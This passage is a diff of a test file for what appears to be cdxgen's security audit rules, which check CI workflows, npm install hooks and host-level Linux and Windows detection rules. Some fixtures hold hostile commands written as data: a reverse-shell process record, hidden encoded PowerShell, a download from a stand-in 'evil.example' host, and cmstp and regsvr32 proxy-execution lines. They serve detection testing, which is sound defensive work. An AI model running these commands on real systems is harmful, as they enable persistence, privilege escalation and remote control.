3950
|
+
);
|
|
3951
|
+
assert.match(findings[0].message, /Release workflow/);
|
|
3952
|
+
assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
|
|
3953
|
+
});
|
|
3954
|
+
|
|
3955
|
+
it("flags obfuscated npm lifecycle hooks", async () => {
|
|
3956
|
+
const bom = makeBom([
|
|
3957
|
+
makeComponent("suspicious-pkg", "1.0.0", [
|
|
3958
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
3959
|
+
["cdx:npm:hasObfuscatedLifecycleScript", "true"],
|
|
3960
|
+
["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
|
|
3961
|
+
[
|
|
3962
|
+
"cdx:npm:lifecycleObfuscationIndicators",
|
|
3963
|
+
"ast:buffer-base64,long-base64-literal",
|
|
3964
|
+
],
|
|
3965
|
+
["cdx:npm:lifecycleExecutionIndicators", "ast:child-process"],
|
|
3966
|
+
]),
|
|
3967
|
+
]);
|
|
3968
|
+
|
|
3969
|
+
const findings = await auditBom(bom, {
|
|
3970
|
+
bomAuditCategories: "package-integrity",
|
|
3971
|
+
});
|
|
3972
|
+
assert.ok(
|
|
3973
|
+
findings.some((finding) => finding.ruleId === "INT-009"),
|
|
3974
|
+
"obfuscated lifecycle hooks should trigger INT-009",
|
|
3975
|
+
);
|
|
3976
|
+
});
|
|
3977
|
+
|
|
3978
|
+
it("does not flag CI-015 for low-signal outbound workflow steps", async () => {
|
|
3979
|
+
const bom = makeBomFromWorkflowFixture(
|
|
3980
|
+
"outbound-sensitive-context-low-signal.yml",
|
|
3981
|
+
);
|
|
3982
|
+
|
|
3983
|
+
const findings = await auditBom(bom, {
|
|
3984
|
+
bomAuditCategories: "ci-permission",
|
|
3985
|
+
});
|
|
3986
|
+
assert.ok(
|
|
3987
|
+
!findings.some((finding) => finding.ruleId === "CI-015"),
|
|
3988
|
+
"low-signal outbound workflow should not trigger CI-015",
|
|
3989
|
+
);
|
|
3990
|
+
});
|
|
3991
|
+
|
|
3992
|
+
it("flags CI-021 for a high-risk workflow with implicit permissions and sensitive operations", async () => {
|
|
3993
|
+
const bom = makeBomFromWorkflowFixture(
|
|
3994
|
+
"heuristic-implicit-permissions-sensitive.yml",
|
|
3995
|
+
);
|
|
3996
|
+
|
|
3997
|
+
const findings = await auditBom(bom, {
|
|
3998
|
+
bomAuditCategories: "ci-permission",
|
|
3999
|
+
});
|
|
4000
|
+
assert.ok(
|
|
4001
|
+
findings.some((finding) => finding.ruleId === "CI-021"),
|
|
4002
|
+
"implicit-permissions high-risk workflow should trigger CI-021",
|
|
4003
|
+
);
|
|
4004
|
+
});
|
|
4005
|
+
|
|
4006
|
+
it("does not flag CI-021 when the workflow declares an explicit permissions block", async () => {
|
|
4007
|
+
const bom = makeBomFromWorkflowFixture(
|
|
4008
|
+
"heuristic-explicit-permissions-sensitive.yml",
|
|
4009
|
+
);
|
|
4010
|
+
|
|
4011
|
+
const findings = await auditBom(bom, {
|
|
4012
|
+
bomAuditCategories: "ci-permission",
|
|
4013
|
+
});
|
|
4014
|
+
assert.ok(
|
|
4015
|
+
!findings.some((finding) => finding.ruleId === "CI-021"),
|
|
4016
|
+
"explicit permissions block should suppress heuristic CI-021",
|
|
4017
|
+
);
|
|
4018
|
+
});
|
|
4019
|
+
});
|
|
4020
|
+
|
|
4021
|
+
describe("formatAnnotations", () => {
|
|
4022
|
+
it("should create CycloneDX annotations from findings", () => {
|
|
4023
|
+
const bom = makeBom([]);
|
|
4024
|
+
const findings = [
|
|
4025
|
+
{
|
|
4026
|
+
ruleId: "CI-001",
|
|
4027
|
+
name: "Unpinned action",
|
|
4028
|
+
severity: "high",
|
|
4029
|
+
category: "ci-permission",
|
|
4030
|
+
message: "Unpinned GitHub Action detected",
|
|
4031
|
+
mitigation: "Pin to SHA",
|
|
4032
|
+
attackTactics: ["TA0001", "TA0004"],
|
|
4033
|
+
attackTechniques: ["T1195.001"],
|
|
4034
|
+
standards: {
|
|
4035
|
+
"owasp-ai-top-10": ["LLM07: Insecure Plugin Design"],
|
|
4036
|
+
"nist-ai-rmf": ["Manage"],
|
|
4037
|
+
},
|
|
4038
|
+
},
|
|
4039
|
+
];
|
|
4040
|
+
const annotations = formatAnnotations(findings, bom);
|
|
4041
|
+
assert.strictEqual(annotations.length, 1);
|
|
4042
|
+
assert.ok(
|
|
4043
|
+
annotations[0].text.startsWith("Unpinned GitHub Action detected"),
|
|
4044
|
+
);
|
|
4045
|
+
assert.match(annotations[0].text, /\| Property \| Value \|/);
|
|
4046
|
+
assert.match(annotations[0].text, /cdx:audit:attack:tactics/);
|
|
4047
|
+
assert.match(annotations[0].text, /cdx:audit:attack:techniques/);
|
|
4048
|
+
assert.match(annotations[0].text, /cdx:audit:standards:owasp-ai-top-10/);
|
|
4049
|
+
assert.ok(
|
|
4050
|
+
annotations[0].annotator.component,
|
|
4051
|
+
"Annotation should have annotator component",
|
|
4052
|
+
);
|
|
4053
|
+
assert.ok(annotations[0].subjects.includes(bom.serialNumber));
|
|
4054
|
+
});
|
|
4055
|
+
|
|
4056
|
+
it("should return empty array when cdxgen tool component is missing", () => {
|
|
4057
|
+
const bom = {
|
|
4058
|
+
serialNumber: "urn:uuid:test",
|
|
4059
|
+
metadata: { tools: { components: [] } },
|
|
4060
|
+
components: [],
|
|
4061
|
+
};
|
|
4062
|
+
const findings = [
|
|
4063
|
+
{
|
|
4064
|
+
ruleId: "CI-001",
|
|
4065
|
+
severity: "high",
|
|
4066
|
+
category: "ci-permission",
|
|
4067
|
+
message: "test",
|
|
4068
|
+
},
|
|
4069
|
+
];
|
|
4070
|
+
const annotations = formatAnnotations(findings, bom);
|
|
4071
|
+
assert.deepStrictEqual(annotations, []);
|
|
4072
|
+
});
|
|
4073
|
+
|
|
4074
|
+
it("should return empty array when metadata.tools is undefined", () => {
|
|
4075
|
+
const bom = {
|
|
4076
|
+
serialNumber: "urn:uuid:test",
|
|
4077
|
+
metadata: {},
|
|
4078
|
+
components: [],
|
|
4079
|
+
};
|
|
4080
|
+
const annotations = formatAnnotations(
|
|
4081
|
+
[{ ruleId: "X", severity: "low", category: "test", message: "test" }],
|
|
4082
|
+
bom,
|
|
4083
|
+
);
|
|
4084
|
+
assert.deepStrictEqual(annotations, []);
|
|
4085
|
+
});
|
|
4086
|
+
});
|
|
4087
|
+
|
|
4088
|
+
describe("hasCriticalFindings", () => {
|
|
4089
|
+
it("should return true when high severity findings exist", () => {
|
|
4090
|
+
const findings = [{ severity: "high" }];
|
|
4091
|
+
assert.ok(hasCriticalFindings(findings, {}));
|
|
4092
|
+
});
|
|
4093
|
+
|
|
4094
|
+
it("should return false when only low severity findings exist", () => {
|
|
4095
|
+
const findings = [{ severity: "low" }];
|
|
4096
|
+
assert.ok(!hasCriticalFindings(findings, {}));
|
|
4097
|
+
});
|
|
4098
|
+
|
|
4099
|
+
it("should use threshold semantics (at or above)", () => {
|
|
4100
|
+
const findings = [{ severity: "high" }];
|
|
4101
|
+
// medium threshold should catch high findings
|
|
4102
|
+
assert.ok(
|
|
4103
|
+
hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
|
|
4104
|
+
);
|
|
4105
|
+
// high threshold should catch high findings
|
|
4106
|
+
assert.ok(hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
|
|
4107
|
+
// critical threshold should NOT catch high findings
|
|
4108
|
+
assert.ok(
|
|
4109
|
+
!hasCriticalFindings(findings, { bomAuditFailSeverity: "critical" }),
|
|
1982
4110
|
);
|
|
1983
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
1984
4111
|
});
|
|
1985
4112
|
|
|
1986
|
-
it("should
|
|
1987
|
-
const
|
|
1988
|
-
const rule = rules.find((r) => r.id === "OBOM-LNX-009");
|
|
1989
|
-
assert.ok(rule, "OBOM-LNX-009 rule should exist");
|
|
1990
|
-
|
|
1991
|
-
const bom = makeBom([
|
|
1992
|
-
{
|
|
1993
|
-
type: "application",
|
|
1994
|
-
name: "packagekit-helper",
|
|
1995
|
-
version: "2121",
|
|
1996
|
-
description: "",
|
|
1997
|
-
purl: "pkg:swid/packagekit-helper@2121",
|
|
1998
|
-
"bom-ref": "pkg:swid/packagekit-helper@2121",
|
|
1999
|
-
properties: [
|
|
2000
|
-
{ name: "cdx:osquery:category", value: "privilege_transitions" },
|
|
2001
|
-
{ name: "auid", value: "1000" },
|
|
2002
|
-
{ name: "uid", value: "1000" },
|
|
2003
|
-
{ name: "euid", value: "0" },
|
|
2004
|
-
{ name: "gid", value: "1000" },
|
|
2005
|
-
{ name: "egid", value: "0" },
|
|
2006
|
-
{ name: "login_user", value: "analyst" },
|
|
2007
|
-
{ name: "path", value: "/usr/libexec/packagekit-direct" },
|
|
2008
|
-
{
|
|
2009
|
-
name: "cmdline",
|
|
2010
|
-
value: "/usr/libexec/packagekit-direct --repair",
|
|
2011
|
-
},
|
|
2012
|
-
{ name: "parent_cmdline", value: "/bin/bash" },
|
|
2013
|
-
{ name: "package_source_hint", value: "unclassified-path" },
|
|
2014
|
-
],
|
|
2015
|
-
},
|
|
2016
|
-
]);
|
|
2017
|
-
|
|
2018
|
-
const findings = await evaluateRule(rule, bom);
|
|
4113
|
+
it("should respect custom fail severity for medium", () => {
|
|
4114
|
+
const findings = [{ severity: "medium" }];
|
|
2019
4115
|
assert.ok(
|
|
2020
|
-
findings
|
|
2021
|
-
"Should detect unexpected privilege transition",
|
|
4116
|
+
hasCriticalFindings(findings, { bomAuditFailSeverity: "medium" }),
|
|
2022
4117
|
);
|
|
2023
|
-
assert.
|
|
4118
|
+
assert.ok(!hasCriticalFindings(findings, { bomAuditFailSeverity: "high" }));
|
|
2024
4119
|
});
|
|
2025
4120
|
|
|
2026
|
-
it("should
|
|
2027
|
-
|
|
2028
|
-
|
|
2029
|
-
assert.ok(rule, "OBOM-WIN-004 rule should exist");
|
|
2030
|
-
|
|
2031
|
-
const bom = makeBom([
|
|
2032
|
-
{
|
|
2033
|
-
type: "data",
|
|
2034
|
-
name: "WindowsUpdateTask",
|
|
2035
|
-
version: "",
|
|
2036
|
-
description: "",
|
|
2037
|
-
purl: "pkg:swid/windows-task",
|
|
2038
|
-
"bom-ref": "pkg:swid/windows-task",
|
|
2039
|
-
properties: [
|
|
2040
|
-
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
2041
|
-
{ name: "enabled", value: "1" },
|
|
2042
|
-
{ name: "hidden", value: "1" },
|
|
2043
|
-
{ name: "path", value: "C:\\Users\\Public\\Temp\\u.exe" },
|
|
2044
|
-
{
|
|
2045
|
-
name: "action",
|
|
2046
|
-
value: "powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA",
|
|
2047
|
-
},
|
|
2048
|
-
],
|
|
2049
|
-
},
|
|
2050
|
-
]);
|
|
2051
|
-
|
|
2052
|
-
const findings = await evaluateRule(rule, bom);
|
|
2053
|
-
assert.ok(findings.length > 0, "Should detect suspicious hidden task");
|
|
2054
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
4121
|
+
it("should return false for empty findings", () => {
|
|
4122
|
+
assert.ok(!hasCriticalFindings([], {}));
|
|
4123
|
+
assert.ok(!hasCriticalFindings(null, {}));
|
|
2055
4124
|
});
|
|
4125
|
+
});
|
|
2056
4126
|
|
|
2057
|
-
|
|
4127
|
+
describe("additional OBOM and rootfs hardening rules", () => {
|
|
4128
|
+
it("should detect reverse shell behavior (OBOM-LNX-014)", async () => {
|
|
2058
4129
|
const rules = await loadRules(RULES_DIR);
|
|
2059
|
-
const rule = rules.find((r) => r.id === "OBOM-
|
|
2060
|
-
assert.ok(rule, "OBOM-
|
|
4130
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-014");
|
|
4131
|
+
assert.ok(rule, "OBOM-LNX-014 rule should exist");
|
|
2061
4132
|
|
|
2062
4133
|
const bom = makeBom([
|
|
2063
4134
|
{
|
|
2064
4135
|
type: "data",
|
|
2065
|
-
name: "
|
|
2066
|
-
version: "",
|
|
4136
|
+
name: "bash",
|
|
4137
|
+
version: "1234",
|
|
2067
4138
|
description: "",
|
|
2068
|
-
purl: "pkg:swid/
|
|
2069
|
-
"bom-ref": "pkg:swid/
|
|
4139
|
+
purl: "pkg:swid/bash@1234",
|
|
4140
|
+
"bom-ref": "pkg:swid/bash@1234",
|
|
2070
4141
|
properties: [
|
|
2071
|
-
{ name: "cdx:osquery:category", value: "
|
|
2072
|
-
{ name: "
|
|
2073
|
-
{
|
|
2074
|
-
|
|
2075
|
-
|
|
2076
|
-
|
|
2077
|
-
},
|
|
4142
|
+
{ name: "cdx:osquery:category", value: "behavioral_reverse_shell" },
|
|
4143
|
+
{ name: "path", value: "/usr/bin/bash" },
|
|
4144
|
+
{ name: "cmdline", value: "bash -i" },
|
|
4145
|
+
{ name: "parent_cmdline", value: "python -c pty.spawn('bash')" },
|
|
4146
|
+
{ name: "remote_address", value: "203.0.113.10" },
|
|
4147
|
+
{ name: "remote_port", value: "4444" },
|
|
2078
4148
|
],
|
|
2079
4149
|
},
|
|
2080
4150
|
]);
|
|
2081
4151
|
|
|
2082
4152
|
const findings = await evaluateRule(rule, bom);
|
|
2083
|
-
assert.ok(findings.length > 0, "Should detect
|
|
4153
|
+
assert.ok(findings.length > 0, "Should detect reverse shell behavior");
|
|
2084
4154
|
assert.strictEqual(findings[0].severity, "critical");
|
|
2085
4155
|
});
|
|
2086
4156
|
|
|
2087
|
-
it("should detect
|
|
2088
|
-
const rules = await loadRules(RULES_DIR);
|
|
2089
|
-
const rule = rules.find((r) => r.id === "OBOM-WIN-006");
|
|
2090
|
-
assert.ok(rule, "OBOM-WIN-006 rule should exist");
|
|
2091
|
-
|
|
2092
|
-
const bom = makeBom([
|
|
2093
|
-
{
|
|
2094
|
-
type: "data",
|
|
2095
|
-
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
2096
|
-
version: "",
|
|
2097
|
-
description: "powershell.exe -nop -w hidden -enc AAAA",
|
|
2098
|
-
purl: "pkg:swid/windows-run-key-lolbas",
|
|
2099
|
-
"bom-ref": "pkg:swid/windows-run-key-lolbas",
|
|
2100
|
-
properties: [
|
|
2101
|
-
{ name: "cdx:osquery:category", value: "windows_run_keys" },
|
|
2102
|
-
{ name: "cdx:lolbas:matched", value: "true" },
|
|
2103
|
-
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
2104
|
-
{
|
|
2105
|
-
name: "cdx:lolbas:functions",
|
|
2106
|
-
value: "command,download,script-execution,shell,upload",
|
|
2107
|
-
},
|
|
2108
|
-
{ name: "cdx:lolbas:matchFields", value: "description" },
|
|
2109
|
-
],
|
|
2110
|
-
},
|
|
2111
|
-
]);
|
|
2112
|
-
|
|
2113
|
-
const findings = await evaluateRule(rule, bom);
|
|
2114
|
-
assert.ok(findings.length > 0, "Should detect LOLBAS persistence surface");
|
|
2115
|
-
assert.strictEqual(findings[0].severity, "high");
|
|
2116
|
-
});
|
|
2117
|
-
|
|
2118
|
-
it("should detect WMI or AppCompat LOLBAS persistence (OBOM-WIN-007)", async () => {
|
|
4157
|
+
it("should detect weak sysctl hardening posture (OBOM-LNX-017)", async () => {
|
|
2119
4158
|
const rules = await loadRules(RULES_DIR);
|
|
2120
|
-
const rule = rules.find((r) => r.id === "OBOM-
|
|
2121
|
-
assert.ok(rule, "OBOM-
|
|
4159
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-017");
|
|
4160
|
+
assert.ok(rule, "OBOM-LNX-017 rule should exist");
|
|
2122
4161
|
|
|
2123
4162
|
const bom = makeBom([
|
|
2124
|
-
|
|
2125
|
-
|
|
2126
|
-
|
|
2127
|
-
version: "",
|
|
2128
|
-
description: "",
|
|
2129
|
-
purl: "pkg:swid/windows-wmi-lolbas",
|
|
2130
|
-
"bom-ref": "pkg:swid/windows-wmi-lolbas",
|
|
2131
|
-
properties: [
|
|
2132
|
-
{ name: "cdx:osquery:category", value: "wmi_cli_event_consumers" },
|
|
2133
|
-
{ name: "cdx:lolbas:matched", value: "true" },
|
|
2134
|
-
{ name: "cdx:lolbas:names", value: "regsvr32.exe" },
|
|
2135
|
-
{
|
|
2136
|
-
name: "cdx:lolbas:functions",
|
|
2137
|
-
value: "library-load,proxy-execution,script-execution",
|
|
2138
|
-
},
|
|
2139
|
-
{
|
|
2140
|
-
name: "command_line_template",
|
|
2141
|
-
value: "regsvr32.exe /s scrobj.dll",
|
|
2142
|
-
},
|
|
2143
|
-
],
|
|
2144
|
-
},
|
|
4163
|
+
makeComponent("kernel.randomize_va_space", "1", [
|
|
4164
|
+
["cdx:osquery:category", "sysctl_hardening"],
|
|
4165
|
+
]),
|
|
2145
4166
|
]);
|
|
2146
4167
|
|
|
2147
4168
|
const findings = await evaluateRule(rule, bom);
|
|
2148
|
-
assert.ok(findings.length > 0, "Should detect
|
|
2149
|
-
assert.strictEqual(findings[0].severity, "
|
|
4169
|
+
assert.ok(findings.length > 0, "Should detect weak sysctl posture");
|
|
4170
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
2150
4171
|
});
|
|
2151
4172
|
|
|
2152
|
-
it("should detect
|
|
4173
|
+
it("should detect weak temporary mount protections (OBOM-LNX-018)", async () => {
|
|
2153
4174
|
const rules = await loadRules(RULES_DIR);
|
|
2154
|
-
const rule = rules.find((r) => r.id === "OBOM-
|
|
2155
|
-
assert.ok(rule, "OBOM-
|
|
4175
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-018");
|
|
4176
|
+
assert.ok(rule, "OBOM-LNX-018 rule should exist");
|
|
2156
4177
|
|
|
2157
4178
|
const bom = makeBom([
|
|
2158
|
-
|
|
2159
|
-
|
|
2160
|
-
|
|
2161
|
-
|
|
2162
|
-
description: "",
|
|
2163
|
-
purl: "pkg:swid/windows-process-lolbas",
|
|
2164
|
-
"bom-ref": "pkg:swid/windows-process-lolbas",
|
|
2165
|
-
properties: [
|
|
2166
|
-
{ name: "cdx:osquery:category", value: "processes" },
|
|
2167
|
-
{ name: "cdx:lolbas:matched", value: "true" },
|
|
2168
|
-
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
2169
|
-
{
|
|
2170
|
-
name: "cdx:lolbas:functions",
|
|
2171
|
-
value: "command,download,script-execution,shell,upload",
|
|
2172
|
-
},
|
|
2173
|
-
{
|
|
2174
|
-
name: "cmdline",
|
|
2175
|
-
value:
|
|
2176
|
-
"powershell.exe -nop -w hidden -enc AAAA; iwr https://evil.example/a.ps1",
|
|
2177
|
-
},
|
|
2178
|
-
],
|
|
2179
|
-
},
|
|
4179
|
+
makeComponent("/tmp", "rw,nosuid,nodev", [
|
|
4180
|
+
["cdx:osquery:category", "mount_hardening"],
|
|
4181
|
+
["type", "tmpfs"],
|
|
4182
|
+
]),
|
|
2180
4183
|
]);
|
|
2181
4184
|
|
|
2182
4185
|
const findings = await evaluateRule(rule, bom);
|
|
2183
|
-
assert.ok(findings.length > 0, "Should detect
|
|
4186
|
+
assert.ok(findings.length > 0, "Should detect missing noexec flag");
|
|
2184
4187
|
assert.strictEqual(findings[0].severity, "high");
|
|
2185
4188
|
});
|
|
2186
4189
|
|
|
2187
|
-
it("should detect
|
|
4190
|
+
it("should detect GTFOBins-linked privileged runtime activity (OBOM-LNX-019)", async () => {
|
|
2188
4191
|
const rules = await loadRules(RULES_DIR);
|
|
2189
|
-
const rule = rules.find((r) => r.id === "OBOM-
|
|
2190
|
-
assert.ok(rule, "OBOM-
|
|
4192
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-019");
|
|
4193
|
+
assert.ok(rule, "OBOM-LNX-019 rule should exist");
|
|
2191
4194
|
|
|
2192
4195
|
const bom = makeBom([
|
|
2193
|
-
|
|
2194
|
-
|
|
2195
|
-
|
|
2196
|
-
|
|
2197
|
-
|
|
2198
|
-
|
|
2199
|
-
"
|
|
2200
|
-
|
|
2201
|
-
|
|
2202
|
-
|
|
2203
|
-
{ name: "cdx:lolbas:names", value: "powershell.exe" },
|
|
2204
|
-
{
|
|
2205
|
-
name: "cdx:lolbas:functions",
|
|
2206
|
-
value: "command,download,script-execution,shell,upload",
|
|
2207
|
-
},
|
|
2208
|
-
{ name: "address", value: "0.0.0.0" },
|
|
2209
|
-
{ name: "port", value: "9001" },
|
|
2210
|
-
{
|
|
2211
|
-
name: "cmdline",
|
|
2212
|
-
value: "powershell.exe -nop -w hidden -enc AAAA",
|
|
2213
|
-
},
|
|
2214
|
-
],
|
|
2215
|
-
},
|
|
4196
|
+
makeComponent("bash", "", [
|
|
4197
|
+
["cdx:osquery:category", "sudo_executions"],
|
|
4198
|
+
["cdx:gtfobins:matched", "true"],
|
|
4199
|
+
["cdx:gtfobins:names", "bash"],
|
|
4200
|
+
["cdx:gtfobins:functions", "shell,command"],
|
|
4201
|
+
["cdx:gtfobins:contexts", "sudo,suid"],
|
|
4202
|
+
["cdx:gtfobins:riskTags", "lateral-movement,privilege-escalation"],
|
|
4203
|
+
["path", "/usr/bin/bash"],
|
|
4204
|
+
["cmdline", "bash -c id"],
|
|
4205
|
+
]),
|
|
2216
4206
|
]);
|
|
2217
4207
|
|
|
2218
4208
|
const findings = await evaluateRule(rule, bom);
|
|
2219
|
-
assert.ok(
|
|
2220
|
-
|
|
4209
|
+
assert.ok(
|
|
4210
|
+
findings.length > 0,
|
|
4211
|
+
"Should detect GTFOBins helper in privileged runtime context",
|
|
4212
|
+
);
|
|
4213
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
2221
4214
|
});
|
|
2222
4215
|
|
|
2223
|
-
it("should
|
|
4216
|
+
it("should ignore elevated root processes without suspicious path evidence (OBOM-LNX-010)", async () => {
|
|
2224
4217
|
const rules = await loadRules(RULES_DIR);
|
|
2225
|
-
const rule = rules.find((r) => r.id === "OBOM-
|
|
2226
|
-
assert.ok(rule, "OBOM-
|
|
4218
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-010");
|
|
4219
|
+
assert.ok(rule, "OBOM-LNX-010 rule should exist");
|
|
2227
4220
|
|
|
2228
4221
|
const bom = makeBom([
|
|
2229
|
-
|
|
2230
|
-
|
|
2231
|
-
|
|
2232
|
-
|
|
2233
|
-
|
|
2234
|
-
|
|
2235
|
-
"bom-ref": "pkg:swid/windows-task-uac-lolbas",
|
|
2236
|
-
properties: [
|
|
2237
|
-
{ name: "cdx:osquery:category", value: "scheduled_tasks" },
|
|
2238
|
-
{ name: "cdx:lolbas:matched", value: "true" },
|
|
2239
|
-
{ name: "cdx:lolbas:names", value: "cmstp.exe" },
|
|
2240
|
-
{ name: "cdx:lolbas:contexts", value: "admin,uac-bypass,user" },
|
|
2241
|
-
{ name: "action", value: "cmstp.exe /s payload.inf" },
|
|
2242
|
-
],
|
|
2243
|
-
},
|
|
4222
|
+
makeComponent("agetty", "1063", [
|
|
4223
|
+
["cdx:osquery:category", "elevated_processes"],
|
|
4224
|
+
["uid", "0"],
|
|
4225
|
+
["package_source_hint", "unclassified-path"],
|
|
4226
|
+
["cmdline", "/sbin/agetty -o -p -- \\u --noclear - linux"],
|
|
4227
|
+
]),
|
|
2244
4228
|
]);
|
|
2245
4229
|
|
|
2246
4230
|
const findings = await evaluateRule(rule, bom);
|
|
2247
|
-
assert.
|
|
2248
|
-
|
|
2249
|
-
|
|
2250
|
-
|
|
2251
|
-
|
|
2252
|
-
|
|
2253
|
-
|
|
2254
|
-
|
|
2255
|
-
|
|
2256
|
-
const
|
|
2257
|
-
|
|
2258
|
-
|
|
2259
|
-
|
|
2260
|
-
|
|
2261
|
-
|
|
2262
|
-
|
|
2263
|
-
"
|
|
2264
|
-
|
|
2265
|
-
|
|
2266
|
-
{ name: "label", value: "com.apple.some-security-service" },
|
|
2267
|
-
{ name: "key", value: "Disabled" },
|
|
2268
|
-
{ name: "value", value: "1" },
|
|
2269
|
-
{ name: "uid", value: "0" },
|
|
2270
|
-
],
|
|
2271
|
-
},
|
|
4231
|
+
assert.strictEqual(
|
|
4232
|
+
findings.length,
|
|
4233
|
+
0,
|
|
4234
|
+
"Should ignore root processes that lack concrete suspicious path evidence",
|
|
4235
|
+
);
|
|
4236
|
+
});
|
|
4237
|
+
|
|
4238
|
+
it("should detect elevated root processes from user-controlled command paths (OBOM-LNX-010)", async () => {
|
|
4239
|
+
const rules = await loadRules(RULES_DIR);
|
|
4240
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-010");
|
|
4241
|
+
assert.ok(rule, "OBOM-LNX-010 rule should exist");
|
|
4242
|
+
|
|
4243
|
+
const bom = makeBom([
|
|
4244
|
+
makeComponent("evil-root-job", "1", [
|
|
4245
|
+
["cdx:osquery:category", "elevated_processes"],
|
|
4246
|
+
["uid", "0"],
|
|
4247
|
+
["package_source_hint", "user-writable-path"],
|
|
4248
|
+
["cmdline", "/home/demo/.local/bin/evil-root-job --daemon"],
|
|
4249
|
+
]),
|
|
2272
4250
|
]);
|
|
2273
4251
|
|
|
2274
4252
|
const findings = await evaluateRule(rule, bom);
|
|
2275
4253
|
assert.ok(
|
|
2276
4254
|
findings.length > 0,
|
|
2277
|
-
"Should detect
|
|
4255
|
+
"Should detect root processes sourced from user-controlled command paths",
|
|
2278
4256
|
);
|
|
2279
|
-
assert.
|
|
4257
|
+
assert.match(findings[0].message, /evil-root-job/);
|
|
2280
4258
|
});
|
|
2281
|
-
});
|
|
2282
4259
|
|
|
2283
|
-
|
|
2284
|
-
it("should sort findings by severity (high before medium before low)", async () => {
|
|
4260
|
+
it("should ignore routine elevated GTFOBins services without suspicious path evidence (OBOM-LNX-019)", async () => {
|
|
2285
4261
|
const rules = await loadRules(RULES_DIR);
|
|
4262
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-019");
|
|
4263
|
+
assert.ok(rule, "OBOM-LNX-019 rule should exist");
|
|
4264
|
+
|
|
2286
4265
|
const bom = makeBom([
|
|
2287
|
-
makeComponent("
|
|
2288
|
-
["cdx:
|
|
2289
|
-
["cdx:
|
|
2290
|
-
["cdx:
|
|
2291
|
-
["cdx:
|
|
2292
|
-
|
|
2293
|
-
|
|
2294
|
-
["
|
|
4266
|
+
makeComponent("fail2ban-server", "1", [
|
|
4267
|
+
["cdx:osquery:category", "elevated_processes"],
|
|
4268
|
+
["cdx:gtfobins:matched", "true"],
|
|
4269
|
+
["cdx:gtfobins:names", "python"],
|
|
4270
|
+
["cdx:gtfobins:functions", "shell,reverse-shell"],
|
|
4271
|
+
["cdx:gtfobins:contexts", "sudo,suid,unprivileged"],
|
|
4272
|
+
["package_source_hint", "unclassified-path"],
|
|
4273
|
+
["cmdline", "/usr/bin/python3 /usr/bin/fail2ban-server -xf start"],
|
|
2295
4274
|
]),
|
|
2296
4275
|
]);
|
|
2297
4276
|
|
|
2298
|
-
const findings = await
|
|
2299
|
-
|
|
2300
|
-
|
|
2301
|
-
|
|
2302
|
-
|
|
2303
|
-
|
|
2304
|
-
assert.ok(
|
|
2305
|
-
prev <= curr,
|
|
2306
|
-
`Finding ${i - 1} severity (${findings[i - 1].severity}) should be >= severity of finding ${i} (${findings[i].severity})`,
|
|
2307
|
-
);
|
|
2308
|
-
}
|
|
2309
|
-
}
|
|
4277
|
+
const findings = await evaluateRule(rule, bom);
|
|
4278
|
+
assert.strictEqual(
|
|
4279
|
+
findings.length,
|
|
4280
|
+
0,
|
|
4281
|
+
"Should ignore routine elevated GTFOBins matches without suspicious path context",
|
|
4282
|
+
);
|
|
2310
4283
|
});
|
|
2311
|
-
});
|
|
2312
4284
|
|
|
2313
|
-
|
|
2314
|
-
|
|
4285
|
+
it("should detect APT sources that still use plaintext HTTP transport (OBOM-LNX-021)", async () => {
|
|
4286
|
+
const rules = await loadRules(RULES_DIR);
|
|
4287
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-021");
|
|
4288
|
+
assert.ok(rule, "OBOM-LNX-021 rule should exist");
|
|
4289
|
+
|
|
2315
4290
|
const bom = makeBom([
|
|
2316
|
-
makeComponent("
|
|
2317
|
-
["cdx:
|
|
2318
|
-
["
|
|
2319
|
-
["
|
|
2320
|
-
["
|
|
4291
|
+
makeComponent("gb.archive.ubuntu.com/ubuntu+noble", "24.04", [
|
|
4292
|
+
["cdx:osquery:category", "apt_sources"],
|
|
4293
|
+
["base_uri", "http://gb.archive.ubuntu.com/ubuntu"],
|
|
4294
|
+
["components", "main restricted universe multiverse"],
|
|
4295
|
+
["maintainer", "Ubuntu"],
|
|
4296
|
+
["release", "noble"],
|
|
4297
|
+
["source", "/etc/apt/sources.list.d/ubuntu.sources"],
|
|
2321
4298
|
]),
|
|
2322
4299
|
]);
|
|
2323
4300
|
|
|
2324
|
-
const findings = await
|
|
2325
|
-
assert.ok(findings.length > 0, "Should
|
|
4301
|
+
const findings = await evaluateRule(rule, bom);
|
|
4302
|
+
assert.ok(findings.length > 0, "Should flag HTTP-backed APT sources");
|
|
4303
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
4304
|
+
assert.match(findings[0].message, /plaintext HTTP transport/);
|
|
2326
4305
|
});
|
|
2327
4306
|
|
|
2328
|
-
it("should
|
|
2329
|
-
const
|
|
2330
|
-
|
|
2331
|
-
|
|
4307
|
+
it("should detect authorized_keys entries that still use ssh-rsa (OBOM-LNX-022)", async () => {
|
|
4308
|
+
const rules = await loadRules(RULES_DIR);
|
|
4309
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-022");
|
|
4310
|
+
assert.ok(rule, "OBOM-LNX-022 rule should exist");
|
|
2332
4311
|
|
|
2333
|
-
it("should filter by category", async () => {
|
|
2334
4312
|
const bom = makeBom([
|
|
2335
|
-
makeComponent("
|
|
2336
|
-
["cdx:
|
|
2337
|
-
["
|
|
2338
|
-
["
|
|
2339
|
-
